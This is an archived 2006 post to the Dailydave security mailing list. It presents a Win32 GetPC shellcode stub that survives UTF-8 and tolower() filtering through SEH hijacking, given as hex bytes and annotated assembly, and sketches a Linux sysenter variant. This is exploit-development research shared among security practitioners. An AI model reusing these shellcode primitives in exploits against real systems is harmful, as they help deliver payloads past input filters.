Dailydave mailing list archives
UTF-8 + tolower getpc stubs
From: Aaron Adams <aadams () securityfocus com>
Date: Fri, 13 Oct 2006 15:58:58 -0600
Hey all, Anyone that read the most recent Uninformed journal probably saw Skape's Implementing a Custom x86 Encoder paper [1]. In it he presents a little challenge for implementing a getpc stub that is UTF-8 and tolower() compliant. The typical jmp/call, fsetenv, and Skylineds alpha stuff won't work because of the restrictions. I've included my Win32 solution at the bottom of this message. It uses the same SEH-based method used by Skylined's alpha. It hasn't been optimized, but if someone does or has some suggestions feel free to send me a message. Also, it looks like it's possible to do one on Linux too. Originally I was planning on using the sigaction() technique using sysenter (opcodes 0x0f 0x34) instead of int 0x80, however because of the way sysenter is implemented it's not possible afaict. The reason being is that on Linux anyway, sysenter is meant to be invoked via the __kernel_vsyscall wrapper through the use of something like call %gs:<offset>. As such, the SYSENTER_RETURN code block invoked after the syscall is finished does a pop, pop, pop, ret from the userland stack. As seen here from the linux-gate vdso: ffffe410: 5d pop %ebp ffffe411: 5a pop %edx ffffe412: 59 pop %ecx ffffe413: c3 ret This means that, to actually return to your code that did sysenter from sigaction and then trigger an exception with an address you want, you have to be able to supply a return address for the ret shown above, implying you already know where your code is or are capable of obtaining it. The only thing I could come up with is, if you push your entire decoder stub / encoded payload on the stack (adding 25% to its current size), set up the return address to be the address of your code on the stack, and invoke a "dummy" syscall (like getpid) via sysenter. This would return you to your code on the stack on thus give you eip via esp, and you could work with it from there. Here is a little example: push $0xfeeb4040 # decoder/encoded payload pushed here pusha # push 3 dwords + ret (esp) for sysenter pusha pop %esi popa # ebp = esp push $20 imul $0x1, (%esp), %eax # getpid() pop %esi sysenter If you run that, you'll be in the infinite loop and can see that esp+pusha stuff == eip. Anyway, just some ideas. I'd love to hear if anyone else has done something similar. Aaron 1. http://uninformed.org/index.cgi?v=5&a=3&t=txt ---------------------------------------------------- # Win32 UTF-8 + tolower() GetPC #"\x68\x04\x02\x30\x62\x6a\x61\x6b\x1c\x24\x01\x5e" #"\x01\x5c\x24\x03\x6a\x20\x6b\x1c\x24\x01\x5e\x01" #"\x5c\x24\x02\x68\x6b\x04\x24\x01\x68\x01\x5e\x5e" #"\x5e\x68\x5e\x6b\x24\x24\x60\x6a\x01\x6a\x01\x61" #"\x6a\x20\x6b\x1c\x24\x01\x6a\x20\x28\x1c\x24\x6b" #"\x1c\x24\x01\x6b\x0c\x24\x01\x60\x5e\x5e\x5e\x5e" #"\x64\x03\x19\x64\x29\x19\x64\x01\x21\x31\x09" # SEH handler code: # 5e pop %esi # 6b 24 24 01 imul $0x1,(%esp),%esp #CONTEXT # 5e pop %esi # 5e pop %esi # 5e pop %esi # 6b 04 24 01 imul $0x1,(%esp),%eax #FAULT ADDR # 04 02 add $0x2,%al # 50 push %eax #PC # c3 ret pushl $0x62300204 push $0x61 imul $0x1, (%esp), %ebx pop %esi add %ebx, 0x3(%esp) # fixup ret push $0x20 imul $0x1, (%esp), %ebx pop %esi add %ebx, 0x2(%esp) # fixup push pushl $0x0124046b pushl $0x5e5e5e01 pushl $0x24246b5e # get address of SEH code from esp pusha push $0x1 push $0x1 popa # edx == address of handler push $0x20 imul $0x1, (%esp), %ebx push $0x20 subb %bl, (%esp) imul $0x01, (%esp), %ebx imul $0x01, (%esp), %ecx pusha pop %esi pop %esi pop %esi pop %esi # esp == SEH record add %fs:(%ecx), %ebx sub %ebx, %fs:(%ecx) add %esp, %fs:(%ecx) # SEH == our record xor %ecx, (%ecx) # UTF-8 / tolower decoder goes here decoder: _______________________________________________ Dailydave mailing list Dailydave () lists immunitysec com http://lists.immunitysec.com/mailman/listinfo/dailydave
Current thread:
- UTF-8 + tolower getpc stubs Aaron Adams (Oct 13)